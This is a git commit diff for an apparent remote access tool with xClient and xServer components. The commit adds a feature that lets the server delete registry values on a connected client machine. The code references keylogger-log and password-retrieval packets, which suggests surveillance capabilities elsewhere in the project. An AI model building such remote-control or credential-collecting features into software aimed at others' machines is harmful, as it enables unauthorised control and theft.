Added support for deleting registry values

This commit is contained in:
StingRaptor 2016-01-25 11:57:59 +01:00
parent a69ba3fc38
commit 295f1b28fe
20 changed files with 391 additions and 79 deletions

View File

@ -97,6 +97,7 @@
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryValueResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
@ -104,6 +105,7 @@
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" /> <Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryValue.cs" /> <Compile Include="Core\Packets\ServerPackets\DoCreateRegistryValue.cs" />
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" /> <Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryValue.cs" />
<Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" /> <Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
<Compile Include="Core\Packets\ServerPackets\DoLoadRegistryKey.cs" /> <Compile Include="Core\Packets\ServerPackets\DoLoadRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoRenameRegistryKey.cs" /> <Compile Include="Core\Packets\ServerPackets\DoRenameRegistryKey.cs" />

View File

@ -147,6 +147,26 @@ namespace xClient.Core.Commands
responsePacket.Execute(client); responsePacket.Execute(client);
} }
public static void HandleDeleteRegistryValue(xClient.Core.Packets.ServerPackets.DoDeleteRegistryValue packet, Client client)
{
xClient.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryValueResponse();
string errorMsg = "";
try
{
responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ValueName = packet.ValueName;
responsePacket.KeyPath = packet.KeyPath;
responsePacket.Execute(client);
}
#endregion #endregion
} }
} }

View File

@ -247,6 +247,26 @@ namespace xClient.Core.Extensions
} }
} }
/// <summary>
/// Attempts to delete a registry value for the key provided using the specified
/// name.
/// </summary>
/// <param name="key">The key of which the value is to be delete from.</param>
/// <param name="name">The name of the value.</param>
/// <returns>Returns a boolean value if the action succeded or failed.</returns>
public static bool DeleteValueSafe(this RegistryKey key, string name)
{
try
{
key.DeleteValue(name);
return true;
}
catch
{
return false;
}
}
#endregion #endregion
#region Find #region Find

View File

@ -62,6 +62,7 @@ namespace xClient.Core.Networking
typeof (Packets.ServerPackets.DoDeleteRegistryKey), typeof (Packets.ServerPackets.DoDeleteRegistryKey),
typeof (Packets.ServerPackets.DoRenameRegistryKey), typeof (Packets.ServerPackets.DoRenameRegistryKey),
typeof (Packets.ServerPackets.DoCreateRegistryValue), typeof (Packets.ServerPackets.DoCreateRegistryValue),
typeof (Packets.ServerPackets.DoDeleteRegistryValue),
typeof (Packets.ServerPackets.SetAuthenticationSuccess), typeof (Packets.ServerPackets.SetAuthenticationSuccess),
typeof (Packets.ClientPackets.GetAuthenticationResponse), typeof (Packets.ClientPackets.GetAuthenticationResponse),
typeof (Packets.ClientPackets.SetStatus), typeof (Packets.ClientPackets.SetStatus),
@ -83,6 +84,7 @@ namespace xClient.Core.Networking
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse), typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse), typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse), typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData), typeof (ReverseProxy.Packets.ReverseProxyData),

View File

@ -0,0 +1,25 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{
[Serializable]
public class GetDeleteRegistryValueResponse : IPacket
{
public string KeyPath { get; set; }
public string ValueName { get; set; }
public bool IsError { get; set; }
public string ErrorMsg { get; set; }
public GetDeleteRegistryValueResponse() { }
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -144,6 +144,10 @@ namespace xClient.Core.Packets
{ {
CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client); CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client);
} }
else if (type == typeof(ServerPackets.DoDeleteRegistryValue))
{
CommandHandler.HandleDeleteRegistryValue((ServerPackets.DoDeleteRegistryValue)packet, client);
}
else if (type == typeof(ServerPackets.GetKeyloggerLogs)) else if (type == typeof(ServerPackets.GetKeyloggerLogs))
{ {
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client); CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);

View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{
[Serializable]
public class DoDeleteRegistryValue : IPacket
{
public string KeyPath { get; set; }
public string ValueName { get; set; }
public DoDeleteRegistryValue(string keyPath, string valueName)
{
KeyPath = keyPath;
ValueName = valueName;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -6,7 +6,7 @@ using System.Text;
namespace xClient.Core.Registry namespace xClient.Core.Registry
{ {
[Serializable] [Serializable]
public class RegValueData public class RegValueData : IEquatable<RegValueData>
{ {
public string Name { get; private set; } public string Name { get; private set; }
public string Type { get; private set; } public string Type { get; private set; }
@ -19,9 +19,24 @@ namespace xClient.Core.Registry
Data = data; Data = data;
} }
public override bool Equals(object obj)
{
if (obj != null && obj.GetType() == typeof(RegValueData))
{
return this.Equals((RegValueData)obj);
}
return false;
}
public override string ToString() public override string ToString()
{ {
return string.Format("({0}:{1}:{2})", Name, Type, Data); return string.Format("({0}:{1}:{2})", Name, Type, Data);
} }
public bool Equals(RegValueData value)
{
return this.Name == value.Name;
}
} }
} }

View File

@ -26,6 +26,8 @@ namespace xClient.Core.Registry
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry"; private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
#endregion #endregion
#endregion #endregion
@ -243,6 +245,54 @@ namespace xClient.Core.Registry
} }
/// <summary>
/// Attempts to delete the desired registry value from the specified key.
/// </summary>
/// <param name="keyPath">The path to the key for which to delete the registry value on.</param>
/// /// <param name="name">The name of the registry value to delete.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
{
try
{
RegistryKey parent = RegistrySeeker.GetWritableRegistryKey(keyPath);
//Invalid can not open parent
if (parent == null)
{
errorMsg = "You do not have access to open registry: " + keyPath + ", try running as administrator";
return false;
}
//Value does not exist
if (!parent.ContainsValue(name))
{
errorMsg = "The registry: " + name + " does not exist in: " + keyPath;
//If value does not exists then the action has already succeded
return true;
}
bool success = parent.DeleteValueSafe(name);
//Value could not be deleted
if (!success)
{
errorMsg = REGISTRY_VALUE_DELETE_ERROR;
return false;
}
//Value was successfully deleted
errorMsg = "";
return true;
}
catch (Exception ex)
{
errorMsg = ex.Message;
return false;
}
}
#endregion #endregion
} }
} }

View File

@ -33,6 +33,7 @@ namespace xServer.Controls
base(name) base(name)
{ {
RegName = name; RegName = name;
this.Name = name;
this.SubItems.Add(type); this.SubItems.Add(type);
Type = type; Type = type;
this.SubItems.Add(data); this.SubItems.Add(data);

View File

@ -113,6 +113,26 @@ namespace xServer.Core.Commands
catch { } catch { }
} }
public static void HandleDeleteRegistryValue(xServer.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse packet, Client client)
{
try
{
// Make sure that the client is in the correct state to handle the packet appropriately.
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
{
if (!packet.IsError)
{
client.Value.FrmRe.DeleteValueFromList(packet.KeyPath, packet.ValueName);
}
else
{
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
}
}
}
catch { }
}
#endregion #endregion
} }
} }

View File

@ -109,6 +109,7 @@ namespace xServer.Core.Networking
typeof (Packets.ServerPackets.DoDeleteRegistryKey), typeof (Packets.ServerPackets.DoDeleteRegistryKey),
typeof (Packets.ServerPackets.DoRenameRegistryKey), typeof (Packets.ServerPackets.DoRenameRegistryKey),
typeof (Packets.ServerPackets.DoCreateRegistryValue), typeof (Packets.ServerPackets.DoCreateRegistryValue),
typeof (Packets.ServerPackets.DoDeleteRegistryValue),
typeof (Packets.ServerPackets.SetAuthenticationSuccess), typeof (Packets.ServerPackets.SetAuthenticationSuccess),
typeof (Packets.ClientPackets.GetAuthenticationResponse), typeof (Packets.ClientPackets.GetAuthenticationResponse),
typeof (Packets.ClientPackets.SetStatus), typeof (Packets.ClientPackets.SetStatus),
@ -130,6 +131,7 @@ namespace xServer.Core.Networking
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse), typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse), typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse), typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData), typeof (ReverseProxy.Packets.ReverseProxyData),

View File

@ -0,0 +1,25 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{
[Serializable]
public class GetDeleteRegistryValueResponse : IPacket
{
public string KeyPath { get; set; }
public string ValueName { get; set; }
public bool IsError { get; set; }
public string ErrorMsg { get; set; }
public GetDeleteRegistryValueResponse() { }
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -86,6 +86,10 @@ namespace xServer.Core.Packets
{ {
CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client); CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client);
} }
else if (type == typeof(ClientPackets.GetDeleteRegistryValueResponse))
{
CommandHandler.HandleDeleteRegistryValue((ClientPackets.GetDeleteRegistryValueResponse)packet, client);
}
else if (type == typeof(ClientPackets.GetPasswordsResponse)) else if (type == typeof(ClientPackets.GetPasswordsResponse))
{ {
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet); CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);

View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{
[Serializable]
public class DoDeleteRegistryValue : IPacket
{
public string KeyPath { get; set; }
public string ValueName { get; set; }
public DoDeleteRegistryValue(string keyPath, string valueName)
{
KeyPath = keyPath;
ValueName = valueName;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -6,7 +6,7 @@ using System.Text;
namespace xServer.Core.Registry namespace xServer.Core.Registry
{ {
[Serializable] [Serializable]
public class RegValueData public class RegValueData : IEquatable<RegValueData>
{ {
public string Name { get; private set; } public string Name { get; private set; }
public string Type { get; private set; } public string Type { get; private set; }
@ -19,9 +19,24 @@ namespace xServer.Core.Registry
Data = data; Data = data;
} }
public override bool Equals(object obj)
{
if (obj != null && obj.GetType() == typeof(RegValueData))
{
return this.Equals((RegValueData)obj);
}
return false;
}
public override string ToString() public override string ToString()
{ {
return string.Format("({0}:{1}:{2})", Name, Type, Data); return string.Format("({0}:{1}:{2})", Name, Type, Data);
} }
public bool Equals(RegValueData value)
{
return this.Name == value.Name;
}
} }
} }

View File

@ -35,10 +35,6 @@ namespace xServer.Forms
this.splitContainer = new System.Windows.Forms.SplitContainer(); this.splitContainer = new System.Windows.Forms.SplitContainer();
this.tvRegistryDirectory = new System.Windows.Forms.TreeView(); this.tvRegistryDirectory = new System.Windows.Forms.TreeView();
this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components); this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components);
this.lstRegistryKeys = new xServer.Controls.AeroListView();
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components); this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components);
this.statusStrip = new System.Windows.Forms.StatusStrip(); this.statusStrip = new System.Windows.Forms.StatusStrip();
this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel();
@ -71,6 +67,10 @@ namespace xServer.Forms
this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.lstRegistryKeys = new xServer.Controls.AeroListView();
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.tableLayoutPanel.SuspendLayout(); this.tableLayoutPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit();
this.splitContainer.Panel1.SuspendLayout(); this.splitContainer.Panel1.SuspendLayout();
@ -137,41 +137,6 @@ namespace xServer.Forms
this.imageRegistryDirectoryList.TransparentColor = System.Drawing.Color.Transparent; this.imageRegistryDirectoryList.TransparentColor = System.Drawing.Color.Transparent;
this.imageRegistryDirectoryList.Images.SetKeyName(0, "folder.png"); this.imageRegistryDirectoryList.Images.SetKeyName(0, "folder.png");
// //
// lstRegistryKeys
//
this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.hName,
this.hType,
this.hValue});
this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill;
this.lstRegistryKeys.FullRowSelect = true;
this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
this.lstRegistryKeys.HideSelection = false;
this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0);
this.lstRegistryKeys.Name = "lstRegistryKeys";
this.lstRegistryKeys.Size = new System.Drawing.Size(818, 664);
this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList;
this.lstRegistryKeys.Sorting = System.Windows.Forms.SortOrder.Descending;
this.lstRegistryKeys.TabIndex = 0;
this.lstRegistryKeys.UseCompatibleStateImageBehavior = false;
this.lstRegistryKeys.View = System.Windows.Forms.View.Details;
this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick);
//
// hName
//
this.hName.Text = "Name";
this.hName.Width = 203;
//
// hType
//
this.hType.Text = "Type";
this.hType.Width = 149;
//
// hValue
//
this.hValue.Text = "Value";
this.hValue.Width = 384;
//
// imageRegistryKeyTypeList // imageRegistryKeyTypeList
// //
this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream"))); this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream")));
@ -303,7 +268,7 @@ namespace xServer.Forms
this.deleteToolStripMenuItem1, this.deleteToolStripMenuItem1,
this.renameToolStripMenuItem1}); this.renameToolStripMenuItem1});
this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip"; this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip";
this.selectedItem_ContextMenuStrip.Size = new System.Drawing.Size(185, 98); this.selectedItem_ContextMenuStrip.Size = new System.Drawing.Size(185, 120);
// //
// modifyToolStripMenuItem // modifyToolStripMenuItem
// //
@ -327,10 +292,10 @@ namespace xServer.Forms
// //
// deleteToolStripMenuItem1 // deleteToolStripMenuItem1
// //
this.deleteToolStripMenuItem1.Enabled = false;
this.deleteToolStripMenuItem1.Name = "deleteToolStripMenuItem1"; this.deleteToolStripMenuItem1.Name = "deleteToolStripMenuItem1";
this.deleteToolStripMenuItem1.Size = new System.Drawing.Size(184, 22); this.deleteToolStripMenuItem1.Size = new System.Drawing.Size(184, 22);
this.deleteToolStripMenuItem1.Text = "Delete"; this.deleteToolStripMenuItem1.Text = "Delete";
this.deleteToolStripMenuItem1.Click += new System.EventHandler(this.deleteRegistryValue_Click);
// //
// renameToolStripMenuItem1 // renameToolStripMenuItem1
// //
@ -415,6 +380,41 @@ namespace xServer.Forms
this.expandableStringValueToolStripMenuItem1.Text = "Expandable String Value"; this.expandableStringValueToolStripMenuItem1.Text = "Expandable String Value";
this.expandableStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click); this.expandableStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click);
// //
// lstRegistryKeys
//
this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.hName,
this.hType,
this.hValue});
this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill;
this.lstRegistryKeys.FullRowSelect = true;
this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
this.lstRegistryKeys.HideSelection = false;
this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0);
this.lstRegistryKeys.Name = "lstRegistryKeys";
this.lstRegistryKeys.Size = new System.Drawing.Size(818, 664);
this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList;
this.lstRegistryKeys.Sorting = System.Windows.Forms.SortOrder.Descending;
this.lstRegistryKeys.TabIndex = 0;
this.lstRegistryKeys.UseCompatibleStateImageBehavior = false;
this.lstRegistryKeys.View = System.Windows.Forms.View.Details;
this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick);
//
// hName
//
this.hName.Text = "Name";
this.hName.Width = 203;
//
// hType
//
this.hType.Text = "Type";
this.hType.Width = 149;
//
// hValue
//
this.hValue.Text = "Value";
this.hValue.Width = 384;
//
// FrmRegistryEditor // FrmRegistryEditor
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);

View File

@ -319,6 +319,38 @@ namespace xServer.Forms
} }
} }
public void DeleteValueFromList(string keyPath, string valueName)
{
TreeNode key = GetParentTreeNode(keyPath);
if (key != null)
{
lstRegistryKeys.Invoke((MethodInvoker)delegate
{
List<RegValueData> ValuesFromNode = null;
if (key.Tag != null)
{
if (key.Tag.GetType() == typeof(List<RegValueData>))
{
ValuesFromNode = (List<RegValueData>)key.Tag;
ValuesFromNode.Remove(new RegValueData(valueName, null, null));
}
else { return; }
}
if (tvRegistryDirectory.SelectedNode == key)
{
lstRegistryKeys.Items.RemoveByKey(valueName);
}
else
{
tvRegistryDirectory.SelectedNode = key;
}
});
}
}
private void UpdateLstRegistryKeys(TreeNode node) private void UpdateLstRegistryKeys(TreeNode node)
{ {
selectedStripStatusLabel.Text = node.FullPath; selectedStripStatusLabel.Text = node.FullPath;
@ -573,7 +605,28 @@ namespace xServer.Forms
#region Registry Value edit #region Registry Value edit
private void deleteRegistryValue_Click(object sender, EventArgs e)
{
if(tvRegistryDirectory.SelectedNode != null) {
//Prompt user to confirm delete
string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete this value?";
string caption = "Confirm Value Delete";
var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
if (answer == DialogResult.Yes)
{
foreach (var item in lstRegistryKeys.SelectedItems)
{
if (item.GetType() == typeof(RegistryValueLstItem))
{
RegistryValueLstItem registyValue = (RegistryValueLstItem)item;
new xServer.Core.Packets.ServerPackets.DoDeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registyValue.RegName).Execute(_connectClient);
}
}
}
}
}
#endregion #endregion

View File

@ -124,41 +124,41 @@
<value> <value>
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADk
BwAAAk1TRnQBSQFMAwEBAAG4AQEBuAEBARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA BwAAAk1TRnQBSQFMAwECAAECAQABAgEQAQABEAEABP8BCQEACP8BQgFNATYBBAYAATYBBAIAASgDAAFA
AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA AwABEAMAAQEBAAEIBgABBBgAAYACAAGAAwACgAEAAYADAAGAAQABgAEAAoACAAPAAQABwAHcAcABAAHw
AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQ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ZAcMBUjIAAVIB9gHDAaACmgN6A1kBwwFSMgABUgH2AsMCoAGa BJoFegHDAVIyAAFSAfYBoAKaA3oEWQHDAVIyAAFSAfYBwwGgApoDegNZAcMBUjIAAVIB9gLDAqABmgN6
A3oCWQHDAVIyAAFSAv8D9gHDApoDegHDAVIyAAFSAfYCmgF6ARsG9gH/AVgyAAFYAfYDmgJ6ApoDegH2 AlkBwwFSMgABUgL/A/YBwwKaA3oBwwFSMgABUgH2ApoBegEbBvYB/wFYMgABWAH2A5oCegKaA3oB9gFY
AVgyAAFYAfYDmgEaBvYB/wF5MgABWAX/AfYEeQKZARsyAAd5B//xAAFCAU0BPgcAAT4DAAEoAwABQAMA MgABWAH2A5oBGgb2Af8BeTIAAVgF/wH2BHkCmQEbMgAHeQf/8QABQgFNAT4HAAE+AwABKAMAAUADAAEQ
ARADAAEBAQABAQUAAYAXAAP/AQAC/wYAAv8GAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGA AwABAQEAAQEFAAGAFwAD/wEAAv8GAAL/BgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEB
AQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAL/BgAC/wYAAv8GAAs= BgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEBBgAC/wYAAv8GAAL/BgAL
</value> </value>
</data> </data>
<metadata name="imageRegistryKeyTypeList.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"> <metadata name="imageRegistryKeyTypeList.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
@ -169,7 +169,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
CQAAAk1TRnQBSQFMAgEBAgEAAdgBAAHYAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo CQAAAk1TRnQBSQFMAgEBAgEAASABAQEgAQEBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA

View File

@ -143,12 +143,14 @@
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryValueResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" /> <Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" /> <Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" /> <Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryValue.cs" /> <Compile Include="Core\Packets\ServerPackets\DoCreateRegistryValue.cs" />
